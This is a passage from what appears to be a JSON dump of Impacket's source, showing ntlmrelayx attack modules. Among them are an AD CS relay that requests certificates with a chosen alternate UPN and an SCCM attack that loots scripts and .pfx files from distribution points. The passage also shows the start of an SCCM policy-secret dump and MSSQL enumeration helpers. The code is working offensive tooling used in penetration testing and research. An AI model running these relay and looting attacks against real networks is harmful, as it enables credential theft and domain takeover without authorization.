pe.grantor_principal_id = pr2.principal_Id \"\r\n                                                                    \"WHERE pe.type = 'IM'\")\r\n                if result_rows:\r\n                    result.extend(result_rows)\r\n            result_rows = self.sql_query(\"SELECT 'LOGIN' as 'execute as', '' AS 'database',pe.permission_name,\"\r\n                                            \"pe.state_desc,pr.name AS 'grantee', pr2.name AS 'grantor' \"\r\n                                            \"FROM sys.server_permissions pe JOIN sys.server_principals pr \"\r\n                                            \"  ON pe.grantee_principal_id = pr.principal_Id \"\r\n                                            \"JOIN sys.server_principals pr2 \"\r\n                                            \"  ON pe.grantor_principal_id = pr2.principal_Id \"\r\n                                            \"WHERE pe.type = 'IM'\")\r\n            result.extend(result_rows)\r\n            self.print_replies()\r\n            self.sql.rows = result\r\n            self.sql.printRows()\r\n        except:\r\n            pass\r\n        finally:\r\n            self.sql_query(\"use \" + old_db)\r\n\r\n    def do_enum_logins(self, line):\r\n        try:\r\n            self.sql_query(\"select r.name,r.type_desc,r.is_disabled, sl.sysadmin, sl.securityadmin, \"\r\n                            \"sl.serveradmin, sl.setupadmin, sl.processadmin, sl.diskadmin, sl.dbcreator, \"\r\n                            \"sl.bulkadmin from  master.sys.server_principals r left join master.sys.syslogins sl \"\r\n                            \"on sl.sid = r.sid where r.type in ('S','E','X','U','G')\")\r\n            self.print_replies()\r\n            self.sql.printRows()\r\n        except:\r\n            pass\r\n\r\n    def default(self, line):\r\n        try:\r\n            self.sql_query(line)\r\n            self.print_replies()\r\n            self.sql.printRows()\r\n        except:\r\n            pass\r\n\r\n    def emptyline(self):\r\n        pass\r\n\r\n    def do_exit(self, line):\r\n        if self.shell is not None:\r\n            self.shell.close()\r\n        return True\r\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/__init__.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\npass\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/attacks/__init__.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Protocol Attack Base Class definition\n#   Defines a base class for all attacks + loads all available modules\n#\n# Author:\n#  Alberto Solino (@agsolino)\n#  Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)\n#\nimport os, sys\nfrom importlib.resources import files\nfrom impacket import LOG\nfrom threading import Thread\n\nfrom impacket.examples.ntlmrelayx.utils.identity_log import identity_context\n\nPROTOCOL_ATTACKS = {}\n\n# Base class for Protocol Attacks for different protocols (SMB, MSSQL, etc)\n# Besides using this base class you need to define one global variable when\n# writing a plugin for protocol clients:\n#     PROTOCOL_ATTACK_CLASS = \"<name of the class for the plugin>\"\n# or (to support multiple classes in one file)\n#     PROTOCOL_ATTACK_CLASSES = [\"<name of the class for the plugin>\", \"<another class>\"]\n# These classes must have the attribute PLUGIN_NAMES which is a list of protocol names\n# that will be matched later with the relay targets (e.g. SMB, LDAP, etc)\n\ndef _wrap_run_with_identity(run_func):\n    def _wrapped(self, *a, **k):\n        if self.target is not None and self.relay_client is not None:\n            connection_identifier = '%s://%s/%s@%s [%s]' % (self.target.scheme, self.domain, self.username, self.target.hostname, self.relay_client.client_id)\n            with identity_context(connection_identifier):\n                return run_func(self, *a, **k)\n        else:\n            return run_func(self, *a, **k)\n    return _wrapped\n\nclass ProtocolAttack(Thread):\n    PLUGIN_NAMES = ['PROTOCOL']\n\n    def __init_subclass__(cls, **kwargs):\n        super().__init_subclass__(**kwargs)\n        # If subclass defines its own run(), wrap it\n        if 'run' in cls.__dict__:\n            cls.run = _wrap_run_with_identity(cls.run)\n\n    def __init__(self, config, client, username, target=None, relay_client=None):\n        Thread.__init__(self)\n        # Set threads as daemon\n        self.daemon = True\n        self.config = config\n        self.client = client\n        # By default we only use the username and remove the domain\n        self.username = username.split('/')[1]\n        # But we also store the domain for later use\n        self.domain = username.split('/')[0]\n        # -- \n        self.target = target \n        self.relay_client = relay_client\n\n    def run(self):\n        raise RuntimeError('Virtual Function')\n\nattacks_path = files('impacket.examples.ntlmrelayx').joinpath('attacks')\nfor file in [f.name for f in attacks_path.iterdir() if f.is_file()]:\n    if file.find('__') >= 0 or file.endswith('.py') is False:\n        continue\n    # This seems to be None in some case (py3 only)\n    # __spec__ is py3 only though, but I haven't seen this being None on py2\n    # so it should cover all cases.\n    try:\n        package = __spec__.name  # Python 3\n    except NameError:\n        package = __package__    # Python 2\n    __import__(package + '.' + os.path.splitext(file)[0])\n    module = sys.modules[package + '.' + os.path.splitext(file)[0]]\n    try:\n        pluginClasses = set()\n        try:\n            if hasattr(module, 'PROTOCOL_ATTACK_CLASSES'):\n                # Multiple classes\n                for pluginClass in module.PROTOCOL_ATTACK_CLASSES:\n                    pluginClasses.add(getattr(module, pluginClass))\n            else:\n                # Single class\n                pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_ATTACK_CLASS')))\n        except Exception as e:\n            LOG.debug(e)\n            pass\n\n        for pluginClass in pluginClasses:\n            for pluginName in pluginClass.PLUGIN_NAMES:\n                LOG.debug('Protocol Attack %s loaded..' % pluginName)\n                PROTOCOL_ATTACKS[pluginName] = pluginClass\n    except Exception as e:\n        LOG.debug(str(e))\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/attacks/dcsyncattack.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   HTTP Attack Class\n#   HTTP protocol relay attack\n#\n# Authors:\n#  Alberto Solino (@agsolino)\n#  Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)\n#\nfrom impacket.examples.ntlmrelayx.attacks import ProtocolAttack\nfrom impacket.examples.secretsdump import RemoteOperations, SAMHashes, NTDSHashes\n\nPROTOCOL_ATTACK_CLASS = \"DCSYNCAttack\"\n\nclass DCSYNCAttack(ProtocolAttack):\n    \"\"\"\n    This is the default HTTP attack. This attack only dumps the root page, though\n    you can add any complex attack below. self.client is an instance of urrlib.session\n    For easy advanced attacks, use the SOCKS option and use curl or a browser to simply\n    proxy through ntlmrelayx\n    \"\"\"\n    PLUGIN_NAMES = [\"DCSYNC\"]\n    def run(self):\n        return\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/attacks/httpattack.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   HTTP Attack Class\n#   HTTP protocol relay attack\n#\n# Authors:\n#   Alberto Solino (@agsolino)\n#   Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)\n#   Ex Android Dev (@ExAndroidDev)\n\nfrom impacket.examples.ntlmrelayx.attacks import ProtocolAttack\nfrom impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack\nfrom impacket.examples.ntlmrelayx.attacks.httpattacks.sccmpoliciesattack import SCCMPoliciesAttack\nfrom impacket.examples.ntlmrelayx.attacks.httpattacks.sccmdpattack import SCCMDPAttack\n\n\n\nPROTOCOL_ATTACK_CLASS = \"HTTPAttack\"\n\n\nclass HTTPAttack(ProtocolAttack, ADCSAttack, SCCMPoliciesAttack, SCCMDPAttack):\n    \"\"\"\n    This is the default HTTP attack. This attack only dumps the root page, though\n    you can add any complex attack below. self.client is an instance of urrlib.session\n    For easy advanced attacks, use the SOCKS option and use curl or a browser to simply\n    proxy through ntlmrelayx\n    \"\"\"\n    PLUGIN_NAMES = [\"HTTP\", \"HTTPS\"]\n\n    def run(self):\n\n        if self.config.isADCSAttack:\n            ADCSAttack._run(self)\n        elif self.config.isSCCMPoliciesAttack:\n            SCCMPoliciesAttack._run(self)\n        elif self.config.isSCCMDPAttack:\n            SCCMDPAttack._run(self)\n        else:\n            # Default action: Dump requested page to file, named username-targetname.html\n            # You can also request any page on the server via self.client.session,\n            # for example with:\n            print(\"DEFAULT CASE\")\n            self.client.request(\"GET\", \"/\")\n            r1 = self.client.getresponse()\n            print(r1.status, r1.reason)\n            data1 = r1.read()\n            print(data1)\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/attacks/httpattacks/__init__.py",
    "content": ""
  },
  {
    "path": "impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   AD CS relay attack\n#\n# Authors:\n#   Ex Android Dev (@ExAndroidDev)\n#   Tw1sm (@Tw1sm)\n\nimport re\nimport base64\nimport os\nfrom OpenSSL import crypto\n\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives.serialization import pkcs12\nfrom cryptography.hazmat.primitives.serialization import NoEncryption\nfrom cryptography.x509 import ExtensionNotFound, load_pem_x509_certificate\nfrom cryptography.x509.oid import NameOID, ObjectIdentifier\nfrom cryptography.hazmat.backends import default_backend\n\n\n\nfrom impacket import LOG\n\n# cache already attacked clients\nELEVATED = []\n\n\nclass ADCSAttack:\n    UPN_OID = ObjectIdentifier(\"1.3.6.1.4.1.311.20.2.3\")\n\n    def _run(self):\n        key = crypto.PKey()\n        key.generate_key(crypto.TYPE_RSA, 4096)\n\n        if self.username in ELEVATED:\n            LOG.info('Skipping user %s since attack was already performed' % self.username)\n            return\n\n        current_template = self.config.template\n        if current_template is None:\n            current_template = \"Machine\" if self.username.endswith(\"$\") else \"User\"\n\n        csr = self.generate_csr(key, self.username, self.config.altName)\n        csr = csr.decode().replace(\"\\n\", \"\").replace(\"+\", \"%2b\").replace(\" \", \"+\")\n        LOG.info(\"CSR generated!\")\n\n        certAttrib = self.generate_certattributes(current_template, self.config.altName)\n\n        data = \"Mode=newreq&CertRequest=%s&CertAttrib=%s&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=\" % (csr, certAttrib)\n\n        headers = {\n            \"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\",\n            \"Content-Type\": \"application/x-www-form-urlencoded\",\n            \"Content-Length\": len(data)\n        }\n\n        LOG.info(\"Getting certificate...\")\n\n        self.client.request(\"POST\", \"/certsrv/certfnsh.asp\", body=data, headers=headers)\n        ELEVATED.append(self.username)\n        response = self.client.getresponse()\n\n        if response.status != 200:\n            LOG.error(\"Error getting certificate! Make sure you have entered valid certificate template.\")\n            return\n\n        content = response.read()\n        found = re.findall(r'location=\"certnew.cer\\?ReqID=(.*?)&', content.decode())\n        if len(found) == 0:\n            LOG.error(\"Error obtaining certificate!\")\n            return\n\n        certificate_id = found[0]\n\n        self.client.request(\"GET\", \"/certsrv/certnew.cer?ReqID=\" + certificate_id)\n        response = self.client.getresponse()\n\n        LOG.info(\"GOT CERTIFICATE! ID %s\" % certificate_id)\n        certificate = response.read().decode()\n\n        cert_obj = load_pem_x509_certificate(certificate.encode(), backend=default_backend())\n        pfx_filename = self._sanitize_filename(self.username or self._extract_certificate_identity(cert_obj) or \"certificate_{0}\".format(certificate_id))\n        certificate_store = self.generate_pfx(key.to_cryptography_key(), cert_obj)\n        output_path = os.path.join(self.config.lootdir, \"{}.pfx\".format(pfx_filename))\n        LOG.info(\"Writing PKCS#12 certificate to %s\" % output_path)\n        try:\n            if not os.path.isdir(self.config.lootdir):\n                os.mkdir(self.config.lootdir)\n            with open(output_path, 'wb') as f:\n                f.write(certificate_store)\n            LOG.info(\"Certificate successfully written to file\")\n        except Exception as e:\n            LOG.info(\"Unable to write certificate to file, printing B64 of certificate to console instead\")\n            LOG.info(\"Base64-encoded PKCS#12 certificate (%s): \\n%s\" % (pfx_filename, base64.b64encode(certificate_store).decode()))\n            pass\n\n        if self.config.altName:\n            LOG.info(\"This certificate can also be used for user : {}\".format(self.config.altName))\n\n    @staticmethod\n    def generate_csr(key, CN, altName, csr_type = crypto.FILETYPE_PEM):\n        LOG.info(\"Generating CSR...\")\n        req = crypto.X509Req()\n\n        if CN:\n            req.get_subject().CN = CN\n\n        if altName:\n            req.add_extensions([crypto.X509Extension(b\"subjectAltName\", False, b\"otherName:1.3.6.1.4.1.311.20.2.3;UTF8:%b\" %  altName.encode() )])\n\n        req.set_pubkey(key)\n        req.sign(key, \"sha256\")\n\n        return crypto.dump_certificate_request(csr_type, req)\n\n    @staticmethod\n    def generate_pfx(key, certificate):\n        pfx_data = pkcs12.serialize_key_and_certificates(\n            name=b\"\",\n            key=key,\n            cert=certificate,\n            cas=None,\n            encryption_algorithm=NoEncryption()\n        )\n        \n        return pfx_data\n    \n    @staticmethod\n    def generate_certattributes(template, altName):\n        if altName:\n            return \"CertificateTemplate:{}%0d%0aSAN:upn={}\".format(template, altName)\n        return \"CertificateTemplate:{}\".format(template)\n\n    @classmethod\n    def _extract_certificate_identity(cls, cert):\n        try:\n            common_names = cert.subject.get_attributes_for_oid(NameOID.COMMON_NAME)\n            for attribute in common_names:\n                value = attribute.value.strip()\n                if value:\n                    return value\n        except Exception:\n            pass\n\n        try:\n            san_extension = cert.extensions.get_extension_for_class(x509.SubjectAlternativeName)\n            san = san_extension.value\n            for other_name in san.get_values_for_type(x509.OtherName):\n                if other_name.type_id == cls.UPN_OID:\n                    value = other_name.value\n                    if isinstance(value, bytes):\n                        value = value.decode('utf-8', errors='ignore')\n                    value = value.strip()\n                    if value:\n                        return value\n            for dns_name in san.get_values_for_type(x509.DNSName):\n                value = dns_name.strip()\n                if value:\n                    return value\n        except ExtensionNotFound:\n            pass\n        except Exception:\n            pass\n\n        return None\n\n    @staticmethod\n    def _sanitize_filename(name):\n        sanitized = re.sub(r'[^A-Za-z0-9._-]', '_', name)\n        sanitized = sanitized.strip(\"._\")\n        return sanitized\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/attacks/httpattacks/sccmdpattack.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   SCCM relay attack to dump files from Distribution Points\n# \n# Authors:\n#    Quentin Roland(@croco_byte - Synacktiv)\n#    Based on SCCMSecrets.py (https://github.com/synacktiv/SCCMSecrets/)\n#    Inspired by the initial pull request of Alberto Rodriguez (@__ar0d__)\n#    Credits to @badsectorlabs for the datalib file indexing method\n\nimport os\nimport json\nimport urllib\n\nfrom html.parser                                        import HTMLParser\nfrom datetime                                           import datetime\nfrom impacket                                           import LOG\n\n\ndef print_tree(d, out, prefix=\"\"):\n    keys = list(d.keys())\n    for i, key in enumerate(keys):\n        is_last = (i == len(keys) - 1)\n        if isinstance(d[key], dict):\n            out.write(f\"{prefix}{'└── ' if is_last else '├── '}{key}/\\n\")\n            new_prefix = f\"{prefix}{'    ' if is_last else '│   '}\"\n            print_tree(d[key], out, new_prefix)\n        else:\n            out.write(f\"{prefix}{'└── ' if is_last else '├── '}{key}\\n\")\n\nclass PackageIDsRetriever(HTMLParser):\n    def __init__(self):\n        super().__init__()\n        self.package_ids = set()\n\n    def handle_starttag(self, tag, attrs):\n        if tag == 'a':\n            for attr in attrs:\n                if attr[0] == 'href':\n                    href = attr[1]\n                    parts = href.split('/')\n                    last_part = parts[-1].strip()\n                    if not last_part.endswith('.INI'):\n                        self.package_ids.add(last_part)\n\nclass FilesAndDirsRetriever(HTMLParser):\n    def __init__(self):\n        super().__init__()\n        self.links = []\n        self.previous_data = \"\"\n\n    def handle_starttag(self, tag, attrs):\n        self.current_tag = tag\n        if tag == 'a':\n            href = dict(attrs).get('href')\n            if href:\n                self.links.append((href, self.previous_data))\n\n    def handle_data(self, data):\n        self.previous_data = data.strip()\n\n\n\nclass SCCMDPAttack:\n    max_recursion_depth = 7\n    DP_DOWNLOAD_HEADERS = {\n            \"User-Agent\": \"SMS CCM 5.0 TS\"\n    }\n\n    def _run(self):\n        LOG.info(\"Starting SCCM DP attack\")\n\n        self.distribution_point = f\"{'https' if self.client.port == 443 else 'http'}://{self.client.host}\"\n        self.loot_dir = f\"{self.client.host}_{datetime.now().strftime('%Y%m%d%H%M%S')}_sccm_dp_loot\"\n        if self.config.SCCMDPExtensions == None:\n            self.config.SCCMDPExtensions = [\".ps1\", \".bat\", \".xml\", \".txt\", \".pfx\"]\n        elif not self.config.SCCMDPExtensions.strip():\n            self.config.SCCMDPExtensions = []\n        else:\n            self.config.SCCMDPExtensions = [x.strip() for x in self.config.SCCMDPExtensions.split(',')]\n\n        try:\n            os.makedirs(self.loot_dir, exist_ok=True)\n            LOG.info(f\"Loot directory is: {self.loot_dir}\")\n        except Exception as err:\n            LOG.error(f\"Error creating base output directory: {err}\")\n            return\n\n\n        # If a set of URLs was provided, do not reindex\n        if self.config.SCCMDPFiles is None:\n            try:\n                LOG.debug(\"Retrieving package IDs from Datalib\")\n                self.package_ids = set()\n                self.fetch_package_ids_from_datalib()\n            except Exception as e:\n                LOG.error(f\"Encountered an error while indexing files from Distribution Point: {e}\")\n                return\n\n        try:\n            LOG.debug(\"Performing file download\")\n            self.download_target_files()\n            LOG.info(\"File download performed\")\n        except Exception as e:\n            LOG.error(f\"Encountered an error while downloading target files: {e}\")\n            return\n        \n        LOG.info(f\"DONE - attack finished. Check loot directory {self.loot_dir}\")\n\n\n\n\n    def recursive_file_extract(self, data):\n        to_download = []\n        if isinstance(data, dict):\n            for key, value in data.items():\n                if value is None and key.endswith(tuple(self.config.SCCMDPExtensions)):\n                    to_download.append(key)\n                else:\n                    to_download.extend(self.recursive_file_extract(data[key]))\n        return to_download\n    \n\n    def download_files(self, files):\n        for file in files:\n            try:\n                parsed_url = urllib.parse.urlparse(file)\n                filename = '__'.join(parsed_url.path.split('/')[3:])\n                package = parsed_url.path.split('/')[2]\n                self.client.request(\"GET\", file, headers=self.DP_DOWNLOAD_HEADERS)\n                r = self.client.getresponse().read()\n                output_file = f\"{self.loot_dir}/packages/{package}/{filename}\"\n                with open(output_file, 'wb') as f:\n                    f.write(r)\n                LOG.info(f\"Package {package} - downloaded file {filename}\")\n            except Exception as e:\n                LOG.error(f\"[!] Error when downloading the following file: {file}\")\n                LOG.error(f\"{e}\")\n\n\n    def download_target_files(self):\n        if self.config.SCCMDPFiles is not None:\n            with open(self.config.SCCMDPFiles, 'r') as f:\n                contents = f.read().splitlines()\n            package_ids = set()\n            to_download = []\n            for file in contents:\n                try:\n                    package_ids.add(urllib.parse.urlparse(file).path.split('/')[2])\n                    if file.strip() is not None: to_download.append(file) \n                except:\n                    LOG.error(f\"(Skipping) URL has wrong format: {file}\")\n                    continue\n            for package_id in package_ids:\n                os.makedirs(f'{self.loot_dir}/packages/{package_id}', exist_ok=True)\n            self.download_files(to_download)\n        else:\n            self.handle_packages()\n\n\n    def handle_packages(self):\n        with open(f\"{self.loot_dir}/index.txt\", \"a\") as f:\n            for i, package_id in enumerate(self.package_ids):\n                package_index = {package_id: {}}\n                self.recursive_package_directory_fetch(package_index[package_id], f\"{self.distribution_point}/sms_dp_smspkg$/{package_id}\", 0)\n                print_tree(package_index, f)\n                to_download = self.recursive_file_extract(package_index[package_id])\n                if len(to_download) == 0:\n                    LOG.debug(f\"Handled package {package_id} ({i+1}/{len(self.package_ids)})\")\n                    continue\n                os.makedirs(f'{self.loot_dir}/packages/{package_id}', exist_ok=True)\n                self.download_files(to_download)\n                LOG.debug(f\"Handled package {package_id} ({i+1}/{len(self.package_ids)})\")\n        LOG.info(\"[+] Package handling complete\")\n\n\n    def recursive_package_directory_fetch(self, object, directory, depth):\n        depth += 1\n\n        self.client.request(\"GET\", directory, headers=self.DP_DOWNLOAD_HEADERS)\n        r = self.client.getresponse().read()\n\n        parser = FilesAndDirsRetriever()\n        parser.feed(r.decode())\n        \n        files = []\n        for href in parser.links:\n            if '<dir>' in href[1]:\n                if depth <= self.max_recursion_depth:\n                    object[href[0]] = {}\n                    self.recursive_package_directory_fetch(object[href[0]], href[0], depth)\n                else:\n                    object[href[0]] = \"Maximum recursion depth reached\"\n            else:\n                files.append(href[0])\n        for file in files:\n            object[file] = None\n\n\n    def fetch_package_ids_from_datalib(self):\n        self.client.request(\"GET\", f\"{self.distribution_point}/sms_dp_smspkg$/Datalib\", headers=self.DP_DOWNLOAD_HEADERS)\n        r = self.client.getresponse().read()\n        packageIDs_parser = PackageIDsRetriever()\n        packageIDs_parser.feed(r.decode())\n        self.package_ids = packageIDs_parser.package_ids\n            \n        LOG.info(f\"Found {len(self.package_ids)} packages\")\n        LOG.debug(self.package_ids)"
  },
  {
    "path": "impacket/examples/ntlmrelayx/attacks/httpattacks/sccmpoliciesattack.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   SCCM relay attack to register a device and dump all secret policies\n# \n# Authors:\n#    Quentin Roland(@croco_byte) - Synacktiv\n#    Based on SCCMSecrets.py (https://github.com/synacktiv/SCCMSecrets/)\n#    Inspired by xpn's work (@xpn)\n\nimport os\nimport zlib\nimport json\nimport base64\nimport string\nimport random\nimport binascii\nimport xml.etree.ElementTree                            as ET\n\nfrom time                                               import sleep\nfrom datetime                                           import datetime, timedelta\nfrom impacket                                           import LOG\nfrom cryptography                                       import x509\nfrom cryptography.x509.oid                              import NameOID\nfrom cryptography.x509                                  import ObjectIdentifier\nfrom cryptography.hazmat.primitives                     import serialization, hashes, padding\nfrom cryptography.hazmat.primitives.asymmetric          import rsa\nfrom cryptography.hazmat.primitives.asymmetric.padding  import PKCS1v15, OAEP, MGF1\nfrom cryptography.hazmat.primitives.hashes              import SHA1\nfrom cryptography.hazmat.primitives.ciphers             import Cipher, algorithms, modes\nfrom cryptography.hazmat.backends                       import default_backend\n\nfrom pyasn1_modules                                     import rfc5652\nfrom pyasn1.codec.der.decoder                           import decode\n\n# Request templates\nREGISTRATION_REQUEST_TEMPLATE = \"\"\"<Data HashAlgorithm=\"1.2.840.113549.1.1.11\" SMSID=\"\" RequestType=\"Registration\" TimeStamp=\"{date}\">\n<AgentInformation AgentIdentity=\"CCMSetup.exe\" AgentVersion=\"5.00.8325.0000\" AgentType=\"0\" />\n<Certificates><Encryption Encoding=\"HexBinary\" KeyType=\"1\">{encryption}</Encryption><Signing Encoding=\"HexBinary\" KeyType=\"1\">{signature}</Signing></Certificates>\n<DiscoveryProperties><Property Name=\"Netbios Name\" Value=\"{client}\" />\n<Property Name=\"FQ Name\" Value=\"{clientfqdn}\" />\n<Property Name=\"Locale ID\" Value=\"2057\" />\n<Property Name=\"InternetFlag\" Value=\"0\" />\n</DiscoveryProperties></Data>\"\"\"\nREGISTRATION_REQUEST_WRAPPER_TEMPLATE = \"<ClientRegistrationRequest>{data}<Signature><SignatureValue>{signature}</SignatureValue></Signature></ClientRegistrationRequest>\\x00\"\n\nSCCM_HEADER_TEMPLATE = \"\"\"<Msg ReplyCompression=\"zlib\" SchemaVersion=\"1.1\"><Body Type=\"ByteRange\" Length=\"{bodylength}\" Offset=\"0\" /><CorrelationID>{{00000000-0000-0000-0000-000000000000}}</CorrelationID><Hooks><Hook3 Name=\"zlib-compress\" /></Hooks><ID>{{5DD100CD-DF1D-45F5-BA17-A327F43465F8}}</ID><Payload Type=\"inline\" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:{client}:SccmMessaging</ReplyTo><SentTime>{date}</SentTime><SourceHost>{client}</SourceHost><TargetAddress>mp:MP_ClientRegistration</TargetAddress><TargetEndpoint>MP_ClientRegistration</TargetEndpoint><TargetHost>{sccmserver}</TargetHost><Timeout>60000</Timeout></Msg>\"\"\"\nPOLICY_REQUEST_HEADER_TEMPLATE = \"\"\"<Msg ReplyCompression=\"zlib\" SchemaVersion=\"1.1\"><Body Type=\"ByteRange\" Length=\"{bodylength}\" Offset=\"0\" /><CorrelationID>{{00000000-0000-0000-0000-000000000000}}</CorrelationID><Hooks><Hook2 Name=\"clientauth\"><Property Name=\"AuthSenderMachine\">{client}</Property><Property Name=\"PublicKey\">{publickey}</Property><Property Name=\"ClientIDSignature\">{clientIDsignature}</Property><Property Name=\"PayloadSignature\">{payloadsignature}</Property><Property Name=\"ClientCapabilities\">NonSSL</Property><Property Name=\"HashAlgorithm\">1.2.840.113549.1.1.11</Property></Hook2><Hook3 Name=\"zlib-compress\" /></Hooks><ID>{{041A35B4-DCEE-4F64-A978-D4D489F47D28}}</ID><Payload Type=\"inline\" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:{client}:SccmMessaging</ReplyTo><SentTime>{date}</SentTime><SourceID>GUID:{clientid}</SourceID><SourceHost>{client}</SourceHost><TargetAddress>mp:MP_PolicyManager</TargetAddress><TargetEndpoint>MP_PolicyManager</TargetEndpoint><TargetHost>{sccmserver}</TargetHost><Timeout>60000</Timeout></Msg>\"\"\"\nPOLICY_REQUEST_TEMPLATE = \"\"\"<RequestAssignments SchemaVersion=\"1.00\" ACK=\"false\" RequestType=\"Always\"><Identification><Machine><ClientID>GUID:{clientid}</ClientID><FQDN>{clientfqdn}</FQDN><NetBIOSName>{client}</NetBIOSName><SID /></Machine><User /></Identification><PolicySource>SMS:PRI</PolicySource><Resource ResourceType=\"Machine\" /><ServerCookie /></RequestAssignments>\"\"\"\nREPORT_BODY = \"\"\"<Report><ReportHeader><Identification><Machine><ClientInstalled>0</ClientInstalled><ClientType>1</ClientType><ClientID>GUID:{clientid}</ClientID><ClientVersion>5.00.8325.0000</ClientVersion><NetBIOSName>{client}</NetBIOSName><CodePage>850</CodePage><SystemDefaultLCID>2057</SystemDefaultLCID><Priority /></Machine></Identification><ReportDetails><ReportContent>Inventory Data</ReportContent><ReportType>Full</ReportType><Date>{date}</Date><Version>1.0</Version><Format>1.1</Format></ReportDetails><InventoryAction ActionType=\"Predefined\"><InventoryActionID>{{00000000-0000-0000-0000-000000000003}}</InventoryActionID><Description>Discovery</Description><InventoryActionLastUpdateTime>{date}</InventoryActionLastUpdateTime></InventoryAction></ReportHeader><REPORT_BODY /></Report>\"\"\"\n\nOID_MAPPING = {\n    '1.2.840.113549.3.7': \"des-ede3-cbc\",\n\n    # PKCS1 v2.2\n    '1.2.840.113549.1.1.1': 'rsaEncryption',\n    '1.2.840.113549.1.1.2': 'md2WithRSAEncryption',\n    '1.2.840.113549.1.1.3': 'md4withRSAEncryption',\n    '1.2.840.113549.1.1.4': 'md5WithRSAEncryption',\n    '1.2.840.113549.1.1.5': 'sha1-with-rsa-signature',\n    '1.2.840.113549.1.1.6': 'rsaOAEPEncryptionSET',\n    '1.2.840.113549.1.1.7': 'id-RSAES-OAEP',\n    '1.2.840.113549.1.1.8': 'id-mgf1',\n    '1.2.840.113549.1.1.9': 'id-pSpecified',\n    '1.2.840.113549.1.1.10': 'rsassa-pss',\n\n    # AES\n    '2.16.840.1.101.3.4.1.41': 'aes256_ecb',\n    '2.16.840.1.101.3.4.1.42': 'aes256_cbc',\n    '2.16.840.1.101.3.4.1.43': 'aes256_ofb',\n    '2.16.840.1.101.3.4.1.44': 'aes256_cfb',\n    '2.16.840.1.101.3.4.1.45': 'aes256_wrap',\n    '2.16.840.1.101.3.4.1.46': 'aes256_gcm',\n    '2.16.840.1.101.3.4.1.47': 'aes256_ccm',\n    '2.16.840.1.101.3.4.1.48': 'aes256_wrap_pad'\n}\n\n\n\n\n### Cryptography utility functions ###\ndef create_certificate(privatekey):\n    subject = issuer = x509.Name([\n        x509.NameAttribute(NameOID.COMMON_NAME, \"ConfigMgr Client\"),\n    ])\n    cert = x509.CertificateBuilder().subject_name(\n        subject\n    ).issuer_name(\n        issuer\n    ).public_key(\n        privatekey.public_key()\n    ).serial_number(\n        x509.random_serial_number()\n    ).not_valid_before(\n        datetime.utcnow() - timedelta(days=2)\n    ).not_valid_after(\n        datetime.utcnow() + timedelta(days=365)\n    ).add_extension(\n        x509.KeyUsage(digital_signature=True, key_encipherment=False, key_cert_sign=False,\n                                key_agreement=False, content_commitment=False, data_encipherment=True,\n                                crl_sign=False, encipher_only=False, decipher_only=False),\n        critical=False,\n    ).add_extension(\n        x509.ExtendedKeyUsage([ObjectIdentifier(\"1.3.6.1.4.1.311.101.2\"), ObjectIdentifier(\"1.3.6.1.4.1.311.101\")]),\n        critical=False,\n    ).sign(privatekey, hashes.SHA256())\n\n    return cert\n\ndef create_private_key():\n    privatekey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\n    return privatekey\n\ndef SCCM_sign(private_key, data):\n        signature = private_key.sign(data, PKCS1v15(), hashes.SHA256())\n        signature_rev = bytearray(signature)\n        signature_rev.reverse()\n        return bytes(signature_rev)\n\n\ndef build_MS_public_key_blob(private_key):\n    blobHeader = b\"\\x06\\x02\\x00\\x00\\x00\\xA4\\x00\\x00\\x52\\x53\\x41\\x31\\x00\\x08\\x00\\x00\\x01\\x00\\x01\\x00\"\n    blob = blobHeader + private_key.public_key().public_numbers().n.to_bytes(int(private_key.key_size / 8), byteorder=\"little\")\n    return 